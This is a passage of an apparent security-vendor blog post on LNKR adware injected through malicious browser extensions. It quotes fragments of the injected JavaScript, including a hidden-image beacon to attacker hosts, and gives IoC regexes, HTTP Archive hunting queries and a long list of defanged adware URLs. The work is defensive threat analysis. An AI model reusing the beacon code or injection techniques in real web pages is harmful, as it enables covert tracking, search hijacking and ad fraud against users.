fdzNativeAds.trackEvent(&quot;show&quot;, &quot;native_ads_ctz&quot;, element.width + &quot;x&quot;<br>               + element.height, json.url);<br>           } else if (json.boost_type &amp;&amp; json.boost_type == &quot;adthink&quot;) {<br>             fdzNativeAds.trackEvent(&quot;show&quot;, &quot;native_ads_adthink&quot;, element.width + &quot;x&quot;<br>               + element.height, json.url);<br>           } else {<br>             fdzNativeAds.trackEvent(&quot;show&quot;, &quot;native_ads&quot;, element.width + &quot;x&quot;<br>               + element.height, json.url);<br>           }<br>           return resolve();<br>         } else {<br>           return resolve();<br>         }<br>     });<br>   } else {<br>     return resolve();<br>   }<br> })<br>}</pre><p>It would read specific input fields, such as on google’s shopping tab and other geo-specific sites (the scripts we first analyzed included targeted French speaking users) and inject ads based on the search query, with specific hardcoded categories such as flights and car rentals.</p><h3>FSGroup And Google Search Results</h3><p>These <em>Fdz</em> variables can be found on sites as early as 2017, but a more interesting find was the injection of another script from <a href="http://www.searchdirect[.]info/script/k"><em>www.searchdirect[.]info/script/k</em></a><em> r.php?uid=F248A67B54944A7A45101F4426CF894C&amp;a=8383_</em> which starts with declaring a few unique variables:</p><pre>ar fsgroup = &quot;28&quot;;<br>var trkid = &#39;5f10493b02471&#39;;<br>var uid = &#39;F248A67B54944A7A45101F4426CF894C&#39;;<br>var affid = &#39;8383&#39;;<br>var dom = &#39;www.searchdirect[.]info&#39;;</pre><p>This file is another adware which replaces google’s search results with its own ads, based on a detected keyword in the query string. The script then fake clicks its injected ads to generate revenue. It also tracks which ads are displayed on the page and injects beacon trackers.</p><h3>Another Injection</h3><p>Another suspicious injection was found to be hosted on Amazon’s AWS: <em>s3.amazonaws[.]com/jscache/19ff3cca12e47e3099.js</em> and was much noisier than the previous two:</p><pre>(function(f, i, j) {<br>   var g = &quot;19ff3cca12e47e3099&quot;;<br>   var b = (function() {<br>       var l = 3;<br>       var p = parseInt(&quot;0&quot;);<br>       var o = parseInt(&quot;0&quot;);<br>       (function() {<br>           var r = [&quot;mid=&quot;, &quot;wid=52190&quot;, &quot;sid=&quot;, &quot;tid=6655&quot;, &quot;rid=LAUNCHED&quot;];<br>           a = (window.location.protocol == &quot;http:&quot; ? &quot;http:&quot; : &quot;https:&quot;) + &quot;//promlinkdev[.]com/metric/?&quot; + r.join(&quot;&amp;&quot;);<br>           var q = f.createElement(&quot;img&quot;);<br>           q.setAttribute(&quot;style&quot;, &quot;width:0;height:0;display:none;visibility:hidden;&quot;);<br>           q.src = a + (a.indexOf(&quot;?&quot;) == -1 ? &quot;?&quot; : &quot;&amp;&quot;) + &quot;t=&quot; + (new Date().getTime());<br>           (document.head || document.documentElement).appendChild(q);<br>           if (typeof q.onload != j) {<br>               q.onload = function() {<br>                   q.parentNode &amp;&amp; q.parentNode.removeChild(q)<br>               }}})();</pre><p>It is minimized, and includes among other things:</p><ul><li>Methods to report to C2 (Command &amp; Control) and receive callback functions to run</li><li>A hardcoded list of specific domains and TLDs not to inject to<br>E.g.<em>lotterysambadresult[.]in</em>, <em>paypal[.]com</em>, anything <em>[.]gov</em>, etc…</li><li>A hardcoded list of sites to inject specific banners to, most are in the Russian language<br>E.g.<em>mail[.]ru</em>, <em>rambler[.]ru</em>, <em>mysearch[.]com</em>, <em>securesurf[.]biz</em>, etc…</li><li>Static ads injections as iframes</li><li>Injections of affiliation links</li><li>Facebook injection</li><li>Geolocation based injection allow and deny lists</li><li>Redirection of searches to affiliated search engines</li><li>Ability to inject nodes to input fields and textareas</li></ul><p>Besides the fact that it’s much more robust and sophisticated than the previous injection, there was once again the loading of another script, <a href="http://www.findsearchresults[.]info/script/r.php?a=3200&amp;uid=52190x0000xzzzzzzzzzzzzzzzzzzzzz"><em>www.findsearchresults[.]info/script/r.php?a=3200&amp;uid=52190x0000xzzzzzzzzzzzzzzzzzzzzz</em></a> which turned out to be another <em>fsgroup</em> script, mostly identical to the last one:</p><pre>var fsgroup = &quot;20&quot;;<br>var trkid = &#39;5f201f06995c8&#39;;<br>var uid = &#39;52190X0000XZZZZZZZZZZZZZZZZZZZZZ&#39;;<br>var affid = &#39;3200&#39;;<br>var dom = &#39;www.findsearchresults[.]info&#39;;</pre><h3>Under The Radar</h3><p>These couple of injections were seen in a small percentage of end-users, and coupled with the lack of evidence for the site being compromised, we assumed it must be a client-side injection, probably malware based, or a malicious browser extension. There was no further action to be taken.</p><h3>Things Are Clearer The Second Time Around</h3><p>A couple of days later, another incident surfaced. Though the offending injection originated from a domain tagged as high-risk, it was a match for the script injected from AWS: <em>hardyload[.]com/22783aa0106c0e89f2.js</em></p><pre>(function(f, i, j) {<br>   var g = &quot;22783aa0106c0e89f2&quot;;<br>   var b = (function() {<br>       var l = 3;<br>       var p = parseInt(&quot;0&quot;);<br>       var o = parseInt(&quot;0&quot;);<br>       (function() {<br>           var r = [&quot;mid=&quot;, &quot;wid=52658&quot;, &quot;sid=&quot;, &quot;tid=8824&quot;, &quot;rid=LAUNCHED&quot;];<br>           a = (window.location.protocol == &quot;http:&quot; ? &quot;http:&quot; : &quot;https:&quot;) + &quot;//hardyload[.]com/metric/?&quot; + r.join(&quot;&amp;&quot;);<br>           var q = f.createElement(&quot;img&quot;);<br>           q.setAttribute(&quot;style&quot;, &quot;width:0;height:0;display:none;visibility:hidden;&quot;);<br>           q.src = a + (a.indexOf(&quot;?&quot;) == -1 ? &quot;?&quot; : &quot;&amp;&quot;) + &quot;t=&quot; + (new Date().getTime());<br>           (document.head || document.documentElement).appendChild(q);<br>           if (typeof q.onload != j) {<br>               q.onload = function() {<br>                   q.parentNode &amp;&amp; q.parentNode.removeChild(q)<br>               }}})();</pre><p>And just like the previous case, it also loaded the fsgroup script, this time from <a href="http://www.findsearchresults[.]info/script/r.php?a=..."><em>www.findsearchresults[.]info/script/r.php?a=...</em></a></p><p>Again, not many sessions displayed this injection and so this was considered to be another case of client-side malware / rogue extension.</p><h3>Connecting The Dots</h3><p>While there were two different initial injections, the one starting with <em>alreadyLoadedMnz</em> and the one with the <em>/metric/?</em> in its path, both were adware and both injected the fsgroup script. The injections were also only witnessed in a relatively negligent number of sessions, but we were interested in knowing if this was perhaps a targeted attack against the customer’s users or a general case of client-side infection.</p><h3>Extracting IoCs</h3><p>To better understand the spread of these injections, we extracted the following regexp IoCs:</p><ul><li>/script/js\?k=</li><li>/metric/?\?mid=<br>For both<em>/metric/?mid=</em> and <em>/metric?mid=</em></li><li>/optout/[gs]et<br>For both<em>/optout/get</em> and <em>/optout/set</em></li><li>^(https?:)?//[^/]+?/[a-f0–9]{18}\.js$<br>Pretty generic, but surprisingly returns good results. A good way to remove false positives is to verify both letters and numbers make up the filename</li></ul><h3>Is It Just Me?</h3><p>Armed with the IoCs, we searched across our customers for compromised end-users in the past week, and found:</p><ul><li>About 120 different domains with requests matching our IoCs</li><li>Almost all of our Code Defender customers had compromised users visiting their sites</li><li>The number of compromised users wasn’t significant compared to the number of overall visitors to the site</li></ul><p>The numbers aren’t staggering to say the least, but from week to week they were consistent and everywhere.</p><p>The injections seems to be coming from either Chrome or Firefox browsers, and not from mobile devices, reaffirming our hypothesis that this was a case of malicious extension / client-side malware:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VeeGYh5zIv00rG6j.png" /></figure><h3>Where Things Got Interesting</h3><p>One of the tools we use during our investigation is <em>HTTP Archive</em> which we usually search using Google’s BigQuery. We were wondering if perhaps we could find the injections somewhere else on the web. We first looked for more occurrences of the injections we already have; perhaps finding them in context will yield new information? If they are indeed client-side injections we expect not to find any matches. So we first searched for sites which communicate with our already seen domains:</p><pre>SELECT * FROM `httparchive.response_bodies.2020_08_01_desktop`<br>WHERE <br>  REGEXP_CONTAINS(url, r&#39;.*(guxuladebu\.com|wejekihota\.com|searchdirect\.info|findsearchresults\.info).*&#39;); </pre><p>And surprisingly we found injections matching those we’ve seen! Not many, but we weren’t expecting to find any! We looked for more examples by searching for unique strings within the injections:</p><pre>SELECT * FROM `httparchive.response_bodies.2020_08_01_desktop`<br>WHERE<br>  body LIKE &#39;%/log/?l=error&amp;m=&quot;%&#39;<br>  OR body LIKE &quot;var alreadyLoadedMnz%&quot;;</pre><p>This yielded almost 300 results, from different sites, with the injected scripts coming from different domains, with the request URLs all matching our IoCs.</p><p>We got practically the same results when we searched for our IoCs with the following query:</p><pre>SELECT DISTINCT page FROM `httparchive.requests.2020_08_01_desktop`<br>WHERE <br>  (REGEXP_CONTAINS(url, r&#39;^(https?):?//[^/]+?/[a-f0-9]{18}\.js$&#39;)<br>  AND NOT REGEXP_CONTAINS(url, r&#39;^(https?):?//[^/]+?/[0-9]{18}\.js$&#39;)<br>  AND NOT REGEXP_CONTAINS(url, r&#39;^(https?):?//[^/]+?/[a-f]{18}\.js$&#39;))<br>  OR REGEXP_CONTAINS(url, r&#39;.*(/script/js\?k=|/optout/[gs]et).*&#39;);</pre><p>Why would what we thought was a client-side injection be embedded into sites?</p><h3>The Missing LNKR</h3><p>Intrigued, we looked further into the domains involved, and found one of them, <em>cdnapps[.]us</em>, was registered with the email <em>frankomedison1020@gmail.com</em> and a quick google search led us to a <a href="https://krebsonsecurity.com/tag/frankomedison1020gmail-com/">KrebsOnSecurity blog entry from March, 2020</a> which described a similar situation to what we started with, attributed to malicious extensions. The extensions might not have started malicious but were later sold to new owners who turned them into adware. Krebs goes on to suggest how sites were embedded with the same injections — the sites were edited in-browser, while a malicious extension was running in the background, which resulted in malicious code injected into the pages during the online edit.</p><p>A more recent <a href="https://www.netskope.com/blog/lnkr-makes-a-comeback-this-ads-for-us">blog entry from Netskope</a> refers to this as a LNKR campaign, named after a string found in its earlier iterations back in 2016.</p><p>A security researcher named Paul Buonopane has <a href="https://github.com/Zenexer/lnkr">described the LNKR injections</a>, gave several IoCs, and also <a href="https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md">analyzed a fake extension</a> which was a copy of a legit extension with the malicious injections appended to it.</p><h3>What Do You Mean It’s Already Taken Care Of?</h3><p>Now that we had a firmer grasp of what our customers were facing, we knew where to look for guarding against an extension injecting into the session: PerimeterX Page Defender. As it turned out, all of our Page Defender customers were already covered, as any request matching one of the IoCs was already spotted and blocked.</p><h3>To Conclude</h3><p>We hope that sharing our journey from the first incident to the identification of the threat and finding the right tool for remediation will give you insight into the way <em>we</em> look at threats. At PerimeterX we research different web threats, from hacked servers, through compromised 3rd-party vendors, to client-side injections. Owing to that we were able to connect the dots and quickly identify the solution — Page Defender, which already blocks the malicious extensions from interfering with the session. Our products sharing a platform means we can leverage intel and capabilities for quick deployment of solutions.</p><h3>But What Can You Do As An End-User?</h3><p>As obvious as It may sound, It’s important to stay cautious and look for warning signs when downloading extensions. If at any time you notice changes in your browsing experience (unexpected ads, links being added, etc…) you should review the extensions installed on your browser, perhaps turning them off one at a time to identify the culprit, and consider uninstalling those which are no longer relevant.</p><h3>Addendum: Adware URLs</h3><p>Though not exhaustive, this list includes more than 350 URLs which matched the IoCs mentioned above. We wanted to include just the domains at first, but since not all of these domains are inherently malicious (as is the case of <em>amazonaws[.]com</em>), the domain + path can be used to detect the existence of this adware in the network.</p><p><em>minisrclink[.]cool/metric/</em></p><p><em>cosmeticsrc[.]com/metric/</em></p><p><em>mikkiload[.]com/metric/</em></p><p><em>miragework[.]com/metric/</em></p><p><em>dakotaram[.]com/metric/</em></p><p><em>dogsamily[.]net/metric/</em></p><p><em>cilkonlay[.]com/metric/</em></p><p><em>cosmeticsrc[.]com/optout/get</em></p><p><em>peterfire[.]net/metric/</em></p><p><em>qalitygigant[.]com/metric/</em></p><p><em>fileryjon[.]com/metric/</em></p><p><em>cosmeticsrc[.]com/optout/set/lat</em></p><p><em>cosmeticsrc[.]com/optout/set/lt</em></p><p><em>minisrclink[.]cool/optout/get</em></p><p><em>minisrclink[.]cool/optout/set/lat</em></p><p><em>minisrclink[.]cool/optout/set/lt</em></p><p><em>hardyload[.]com/metric/</em></p><p><em>mikkiload[.]com/optout/set/lat</em></p><p><em>mikkiload[.]com/optout/set/lt</em></p><p><em>mikkiload[.]com/optout/get</em></p><p><em>cozytech[.]biz/metric/</em></p><p><em>cosmeticsrc[.]com/2171de9c9971669bb5.js</em></p><p><em>autroliner[.]com/metric/</em></p><p><em>joyshoul[.]com/metric/</em></p><p><em>practiclick[.]xyz/metric/</em></p><p><em>petercontry[.]net/metric/</em></p><p><em>clicksapp[.]net/metric/</em></p><p><em>loungesrc[.]net/metric/</em></p><p><em>jaretsummer[.]com/metric/</em></p><p><em>biglinksrc[.]cool/metric/</em></p><p><em>tracksmall[.]com/metric/</em></p><p><em>makesure[.]biz/metric/</em></p><p><em>blinkjork[.]com/metric/</em></p><p><em>trableflick[.]com/metric/</em></p><p><em>tribedone[.]org/metric/</em></p><p><em>dimagesrc[.]com/metric/</em></p><p><em>simonzody[.]com/metric/</em></p><p><em>amptylogick[.]com/metric/</em></p><p><em>dogsamily[.]net/optout/get</em></p><p><em>miragework[.]com/optout/get</em></p><p><em>miragework[.]com/optout/set/lat</em></p><p><em>miragework[.]com/optout/set/lt</em></p><p><em>massehight[.]com/metric/</em></p><p><em>goldapps[.]org/metric/</em></p><p><em>mirakay[.]biz/metric/</em></p><p><em>dogsamily[.]net/optout/set/lat</em></p><p><em>dogsamily[.]net/optout/set/lt</em></p><p><em>peterfire[.]net/optout/set/lat</em></p><p><em>peterfire[.]net/optout/set/lt</em></p><p><em>joyshoul[.]com/optout/set/lat</em></p><p><em>joyshoul[.]com/optout/set/lt</em></p><p><em>peterfire[.]net/optout/get</em></p><p><em>losudu.guxuladebu[.]com/scripts/js</em></p><p><em>qalitygigant[.]com/optout/set/lat</em></p><p><em>qalitygigant[.]com/optout/set/lt</em></p><p><em>mikkiload[.]com/2299156fcd9f4015b0.js</em></p><p><em>proxdevcool[.]com/metric/</em></p><p><em>qalitygigant[.]com/optout/get</em></p><p><em>criticalltech[.]com/metric/</em></p><p><em>keanyjoy[.]com/metric/</em></p><p><em>joyshoul[.]com/optout/get</em></p><p><em>craftprimes[.]com/metric/</em></p><p><em>ciclonrox[.]com/metric/</em></p><p><em>cosmeticsrc[.]com/optout/set/strtm</em></p><p><em>cosmeticsrc[.]com/optout/set/userid</em></p><p><em>cilkonlay[.]com/optout/get</em></p><p><em>blancfox[.]com/metric/</em></p><p><em>cilkonlay[.]com/optout/set/lat</em></p><p><em>cilkonlay[.]com/optout/set/lt</em></p><p><em>untsorce[.]cool/metric/</em></p><p><em>acountscr[.]cool/metric/</em></p><p><em>milkpload[.]net/metric/</em></p><p><em>pagescr[.]cool/metric/</em></p><p><em>peterfire[.]net/22a3c76046f79dd0be.js</em></p><p><em>qalitygigant[.]com/227ee61cbd084e801b.js</em></p><p><em>mikkiload[.]com/22bc07df48b043c1f3.js</em></p><p><em>dimagesrc[.]com/21b4eb3b66b8d5e9bb.js</em></p><p><em>joyshoul[.]com/22bd1a92d57466cd6c.js</em></p><p><em>dakotaram[.]com/22f6f6120c25710dec.js</em></p><p><em>fileryjon[.]com/optout/get</em></p><p><em>fileryjon[.]com/optout/set/lat</em></p><p><em>fileryjon[.]com/optout/set/lt</em></p><p><em>clipsold[.]com/metric/</em></p><p><em>fileryjon[.]com/1ddcff471efda26278.js</em></p><p><em>minisrclink[.]cool/1e40c8bd4601a5a5a4.js</em></p><p><em>clicksapp[.]net/215bde2d6ed49fe715.js</em></p><p><em>clicksapp[.]net/215d9d5ddc1c1332ef.js</em></p><p><em>mabydick[.]com/metric/</em></p><p><em>autroliner[.]com/optout/get</em></p><p><em>autroliner[.]com/optout/set/lat</em></p><p><em>autroliner[.]com/optout/set/lt</em></p><p><em>data1.molaroute[.]com/scripts/js</em></p><p><em>kellyfight[.]com/metric/</em></p><p><em>statsrc[.]cool/metric/</em></p><p><em>makesure[.]biz/1dbe49b2db08327925.js</em></p><p><em>makesure[.]biz/optout/set/lat</em></p><p><em>makesure[.]biz/optout/set/lt</em></p><p><em>appslinker[.]net/metric/</em></p><p><em>hardyload[.]com/optout/set/lat</em></p><p><em>hardyload[.]com/optout/set/lt</em></p><p><em>leepraktic[.]net/metric/</em></p><p><em>makesure[.]biz/optout/get</em></p><p><em>proghage[.]com/metric/</em></p><p><em>cehute.ramitetuha[.]com/scripts/js</em></p><p><em>contendevff[.]com/metric/</em></p><p><em>craftprimes[.]com/optout/set/lat</em></p><p><em>craftprimes[.]com/optout/set/lt</em></p><p><em>data1.routepilipinas[.]com/scripts/js</em></p><p><em>biglinksrc[.]cool/optout/get</em></p><p><em>biglinksrc[.]cool/optout/set/lat</em></p><p><em>biglinksrc[.]cool/optout/set/lt</em></p><p><em>poruce.neyelanane[.]com/scripts/js</em></p><p><em>craftprimes[.]com/optout/get</em></p><p><em>jemova.wurucozujo[.]com/scripts/js</em></p><p><em>webnicolas[.]net/metric/</em></p><p><em>blancfox[.]com/1ff0d80f515755dcf2.js</em></p><p><em>craftprimes[.]com/20618468c2f7627774.js</em></p><p><em>giraslide[.]com/metric/</em></p><p><em>autroliner[.]com/225cd6e1ef3a4470f9.js</em></p><p><em>tracksmall[.]com/optout/set/lat</em></p><p><em>tracksmall[.]com/optout/set/lt</em></p><p><em>tribedone[.]org/optout/get</em></p><p><em>tribedone[.]org/optout/set/lat</em></p><p><em>biglinksrc[.]cool/1ee798437b5f5d4f98.js</em></p><p><em>dowlextff[.]com/metric/</em></p><p><em>fuhupo.lohuwomenu[.]com/scripts/js</em></p><p><em>mirakay[.]biz/optout/get</em></p><p><em>mirakay[.]biz/optout/set/lat</em></p><p><em>mirakay[.]biz/optout/set/lt</em></p><p><em>petercontry[.]net/optout/set/lat</em></p><p><em>petercontry[.]net/optout/set/lt</em></p><p><em>tracksmall[.]com/optout/get</em></p><p><em>joyshoul[.]com/optout/set/strtm</em></p><p><em>joyshoul[.]com/optout/set/userid</em></p><p><em>petercontry[.]net/optout/get</em></p><p><em>promclickapp[.]biz/1e6ab715a3a95d4603.js</em></p><p><em>ruzozi.locixugoro[.]com/scripts/js</em></p><p><em>tribedone[.]org/optout/set/lt</em></p><p><em>blinkjork[.]com/optout/set/lat</em></p><p><em>blinkjork[.]com/optout/set/lt</em></p><p><em>dowlextff[.]com/1d61f2beb014840140.js</em></p><p><em>hardyload[.]com/optout/set/strtm</em></p><p><em>hardyload[.]com/optout/set/userid</em></p><p><em>skillapp[.]net/metric/</em></p><p><em>blinkjork[.]com/optout/get</em></p><p><em>crisdomson[.]com/metric/</em></p><p><em>ideafrank[.]com/metric/</em></p><p><em>keanyjoy[.]com/optout/get</em></p><p><em>poligloteapp[.]org/metric/</em></p><p><em>trableflick[.]com/optout/get</em></p><p><em>amptylogick[.]com/22a1d8e534b29520d0.js</em></p><p><em>amptylogick[.]com/optout/get</em></p><p><em>amptylogick[.]com/optout/set/lat</em></p><p><em>amptylogick[.]com/optout/set/lt</em></p><p><em>crisgrey[.]com/188f9ebcdf6890da18.js</em></p><p><em>darkflags[.]net/metric/</em></p><p><em>keanyjoy[.]com/optout/set/lat</em></p><p><em>keanyjoy[.]com/optout/set/lt</em></p><p><em>mirakay[.]biz/optout/set/strtm</em></p><p><em>mirakay[.]biz/optout/set/userid</em></p><p><em>practiclick[.]xyz/optout/set/lat</em></p><p><em>practiclick[.]xyz/optout/set/lt</em></p><p><em>promfflinkdev[.]com/1dc30897dfecc6dc73.js</em></p><p><em>simonzody[.]com/20c3dc56895944c2b8.js</em></p><p><em>trableflick[.]com/optout/set/lat</em></p><p><em>tribedone[.]org/20ca34c96a123576ab.js</em></p><p><em>cilkonlay[.]com/21890722da51ec3508.js</em></p><p><em>comtakelink[.]xyz/metric/</em></p><p><em>criticalltech[.]com/optout/get</em></p><p><em>criticalltech[.]com/optout/set/lat</em></p><p><em>criticalltech[.]com/optout/set/lt</em></p><p><em>hardyload[.]com/optout/get</em></p><p><em>loungesrc[.]net/optout/set/lat</em></p><p><em>loungesrc[.]net/optout/set/lt</em></p><p><em>practiclick[.]xyz/optout/get</em></p><p><em>proxdevcool[.]com/optout/get</em></p><p><em>proxdevcool[.]com/optout/set/lat</em></p><p><em>simonzody[.]com/optout/get</em></p><p><em>simonzody[.]com/optout/set/lat</em></p><p><em>simonzody[.]com/optout/set/lt</em></p><p><em>singtraff[.]cool/metric/</em></p><p><em>goldapps[.]org/optout/get</em></p><p><em>goldapps[.]org/optout/set/lat</em></p><p><em>goldapps[.]org/optout/set/lt</em></p><p><em>jaretsummer[.]com/optout/get</em></p><p><em>jaretsummer[.]com/optout/set/lat</em></p><p><em>jaretsummer[.]com/optout/set/lt</em></p><p><em>practiclick[.]xyz/151d61b828942a88fe.js</em></p><p><em>proxdevcool[.]com/optout/set/lt</em></p><p><em>trableflick[.]com/optout/set/lt</em></p><p><em>tribedone[.]org/20cebcfbc0d833c4d4.js</em></p><p><em>untsorce[.]cool/optout/set/lat</em></p><p><em>untsorce[.]cool/optout/set/lt</em></p><p><em>zerafe.dodecawube[.]com/scripts/js</em></p><p><em>appslinker[.]net/2135df0d2c8958bb24.js</em></p><p><em>contendevff[.]com/optout/get</em></p><p><em>crisdomson[.]com/optout/set/lat</em></p><p><em>crisdomson[.]com/optout/set/lt</em></p><p><em>dogsamily[.]net/optout/set/strtm</em></p><p><em>dogsamily[.]net/optout/set/userid</em></p><p><em>files-js-ext.s3.us-east-2.amazonaws[.]com/22fae55717eaadaf7d.js</em></p><p><em>ideafrank[.]com/optout/get</em></p><p><em>petercontry[.]net/optout/set/strtm</em></p><p><em>petercontry[.]net/optout/set/userid</em></p><p><em>protesidenext[.]com/metric/</em></p><p><em>tracksmall[.]com/2279d81d48c75df8ff.js</em></p><p><em>untsorce[.]cool/optout/get</em></p><p><em>amptylogick[.]com/optout/set/strtm</em></p><p><em>amptylogick[.]com/optout/set/userid</em></p><p><em>biglinksrc[.]cool/1ece0ed8f49de8d8d2.js</em></p><p><em>buvihi.xixuzutage[.]com/scripts/js</em></p><p><em>ciclonrox[.]com/optout/set/lat</em></p><p><em>ciclonrox[.]com/optout/set/lt</em></p><p><em>contendevff[.]com/167dc90a2dac606b7f.js</em></p><p><em>contendevff[.]com/optout/set/lat</em></p><p><em>contendevff[.]com/optout/set/lt</em></p><p><em>data1.blicougi[.]com/scripts/js</em></p><p><em>fevoki.wejekihota[.]com/scripts/js</em></p><p><em>icelandsue[.]com/metric/</em></p><p><em>loungesrc[.]net/2263eddcb82daefb75.js</em></p><p><em>loungesrc[.]net/optout/get</em></p><p><em>peterfire[.]net/optout/set/strtm</em></p><p><em>peterfire[.]net/optout/set/userid</em></p><p><em>platewolf[.]com/metric/</em></p><p><em>plusdroop[.]net/metric/</em></p><p><em>proghage[.]com/200321535194dcd04f.js</em></p><p><em>proghage[.]com/optout/get</em></p><p><em>proghage[.]com/optout/set/lat</em></p><p><em>proghage[.]com/optout/set/lt</em></p><p><em>promfflinkdev[.]com/1dbde180289f843d45.js</em></p><p><em>untsorce[.]cool/1f90ebeaf3ebeede5d.js</em></p><p><em>acountscr[.]cool/1e3de9b8ae5c976faf.js</em></p><p><em>blinkloide[.]com/metric/</em></p><p><em>ciclonrox[.]com/optout/get</em></p><p><em>clicksapp[.]net/21604a2096b709a1b4.js</em></p><p><em>data1.bmi-result[.]com/scripts/js</em></p><p><em>data1.padirmua[.]com/scripts/js</em></p><p><em>giraslide[.]com/optout/get</em></p><p><em>goldapps[.]org/1bb8d5dee1eb4904d8.js</em></p><p><em>goldapps[.]org/2249d46c4ea44f4b35.js</em></p><p><em>jigepu.macudivida[.]com/scripts/js</em></p><p><em>jozeha.levitokitu[.]com/scripts/js</em></p><p><em>linkangood[.]com/21ef897172770ca75d.js</em></p><p><em>milkpload[.]net/optout/get</em></p><p><em>milkpload[.]net/optout/set/lat</em></p><p><em>milkpload[.]net/optout/set/lt</em></p><p><em>pagescr[.]cool/16dc1947c10ee7d085.js</em></p><p><em>pagescr[.]cool/optout/get</em></p><p><em>pagescr[.]cool/optout/set/lat</em></p><p><em>pagescr[.]cool/optout/set/lt</em></p><p><em>practiclick[.]xyz/18b181560802361ac2.js</em></p><p><em>proudflex[.]org/213db237bbd6bf854a.js</em></p><p><em>transmapp[.]com/22876adb33772fed1c.js</em></p><p><em>tribedone[.]org/optout/set/strtm</em></p><p><em>tribedone[.]org/optout/set/userid</em></p><p><em>untsorce[.]cool/optout/set/strtm</em></p><p><em>untsorce[.]cool/optout/set/userid</em></p><p><em>webnicolas[.]net/optout/get</em></p><p><em>webnicolas[.]net/optout/set/lat</em></p><p><em>webnicolas[.]net/optout/set/lt</em></p><p><em>wusote.hirizasune[.]com/scripts/js</em></p><p><em>acountscr[.]cool/optout/get</em></p><p><em>acountscr[.]cool/optout/set/lat</em></p><p><em>acountscr[.]cool/optout/set/lt</em></p><p><em>billyjons[.]net/21db1c5c8b372aecca.js</em></p><p><em>blinkjork[.]com/2169d6bf46fe8cf4e4.js</em></p><p><em>brigstoneapp[.]com/metric/</em></p><p><em>clicksapp[.]net/216bf7a0541cc1f953.js</em></p><p><em>cloudjs.netlify[.]com/1b0166cba6a2cf5418.js</em></p><p><em>comtakelink[.]xyz/1efc51d492f1470cde.js</em></p><p><em>comtakelink[.]xyz/optout/get</em></p><p><em>comtakelink[.]xyz/optout/set/lat</em></p><p><em>comtakelink[.]xyz/optout/set/lt</em></p><p><em>crisdomson[.]com/optout/get</em></p><p><em>darkflags[.]net/optout/get</em></p><p><em>data1.amorff[.]com/scripts/js</em></p><p><em>data1.arirs[.]com/scripts/js</em></p><p><em>data1.emizol[.]com/scripts/js</em></p><p><em>data1.ilipol[.]com/scripts/js</em></p><p><em>data1.pletar[.]com/scripts/js</em></p><p><em>giraslide[.]com/optout/set/lat</em></p><p><em>giraslide[.]com/optout/set/lt</em></p><p><em>ideafrank[.]com/optout/set/lat</em></p><p><em>ideafrank[.]com/optout/set/lt</em></p><p><em>kafiro.kuwinesume[.]com/scripts/js</em></p><p><em>kellyfight[.]com/optout/get</em></p><p><em>kellyfight[.]com/optout/set/lat</em></p><p><em>kellyfight[.]com/optout/set/lt</em></p><p><em>leepraktic[.]net/optout/get</em></p><p><em>leepraktic[.]net/optout/set/lat</em></p><p><em>leepraktic[.]net/optout/set/lt</em></p><p><em>mabydick[.]com/optout/get</em></p><p><em>mabydick[.]com/optout/set/lat</em></p><p><em>mabydick[.]com/optout/set/lt</em></p><p><em>massehight[.]com/optout/get</em></p><p><em>massehight[.]com/optout/set/lat</em></p><p><em>massehight[.]com/optout/set/lt</em></p><p><em>miragework[.]com/2255f170533dc275d7.js</em></p><p><em>mocadi.wisoyekivo[.]com/scripts/js</em></p><p><em>pingclock[.]net/21db1c5c8b372aecca.js</em></p><p><em>sijeno.fufesikera[.]com/scripts/js</em></p><p><em>skillapp[.]net/optout/get</em></p><p><em>skillapp[.]net/optout/set/lat</em></p><p><em>skillapp[.]net/optout/set/lt</em></p><p><em>smackbolt[.]com/2092da88402465d887.js</em></p><p><em>statsrc[.]cool/1f15217cf56f39194a.js</em></p><p><em>statsrc[.]cool/optout/get</em></p><p><em>statsrc[.]cool/optout/set/lat</em></p><p><em>statsrc[.]cool/optout/set/lt</em></p><p><em>trableflick[.]com/2271398b0972c49255.js</em></p><p><em>blancfox[.]com/1f2cf4f473fe9a5b05.js</em></p><p><em>blancfox[.]com/optout/get</em></p><p><em>blancfox[.]com/optout/set/lat</em></p><p><em>blancfox[.]com/optout/set/lt</em></p><p><em>brigstoneapp[.]com/22c4d87c9433e6bd0d.js</em></p><p><em>brigstoneapp[.]com/optout/set/lat</em></p><p><em>brigstoneapp[.]com/optout/set/lt</em></p><p><em>ciclonrox[.]com/21d4a10d5bc3d00d52.js</em></p><p><em>clipsold[.]com/21b344a7264ba4c14a.js</em></p><p><em>clipsold[.]com/optout/set/lat</em></p><p><em>clipsold[.]com/optout/set/lt</em></p><p><em>clipsold[.]com/optout/set/strtm</em></p><p><em>clipsold[.]com/optout/set/userid</em></p><p><em>cloudjs.netlify[.]com/1aff3cd773129c7ef9.js</em></p><p><em>crisdomson[.]com/optout/set/strtm</em></p><p><em>crisdomson[.]com/optout/set/userid</em></p><p><em>darkflags[.]net/optout/set/lat</em></p><p><em>darkflags[.]net/optout/set/lt</em></p><p><em>data1.ahjilop[.]com/scripts/js</em></p><p><em>data1.argmeteo[.]com/scripts/js</em></p><p><em>data1.grasow[.]com/scripts/js</em></p><p><em>data1.motibaba[.]com/scripts/js</em></p><p><em>data1.plantul[.]com/scripts/js</em></p><p><em>dekixu.sepopesuja[.]com/scripts/js</em></p><p><em>dimagesrc[.]com/optout/get</em></p><p><em>dimagesrc[.]com/optout/set/lat</em></p><p><em>dimagesrc[.]com/optout/set/lt</em></p><p><em>fileryjon[.]com/1a855c56ef7ae15d9d.js</em></p><p><em>hardyload[.]com/22783aa0106c0e89f2.js</em></p><p><em>hejana.lejesigufi[.]com/scripts/js</em></p><p><em>jebaye.gumagerudo[.]com/scripts/js</em></p><p><em>jejoro.miyinokejo[.]com/scripts/js</em></p><p><em>joyglasses[.]net/metric/</em></p><p><em>kellyfight[.]com/optout/set/strtm</em></p><p><em>kellyfight[.]com/optout/set/userid</em></p><p><em>luzino.kumureyole[.]com/scripts/js</em></p><p><em>makesure[.]biz/1c9285ea04bd586ce3.js</em></p><p><em>meyune.jaceloregi[.]com/scripts/js</em></p><p><em>minisrclink[.]cool/optout/set/strtm</em></p><p><em>minisrclink[.]cool/optout/set/userid</em></p><p><em>najiwu.xeyutezepo[.]com/scripts/js</em></p><p><em>plankjock[.]com/20c1f9347f59cf976e.js</em></p><p><em>platewolf[.]com/optout/get</em></p><p><em>plusdroop[.]net/optout/get</em></p><p><em>protesidenext[.]com/d7903748defdb4e905.js</em></p><p><em>protesidenext[.]com/optout/get</em>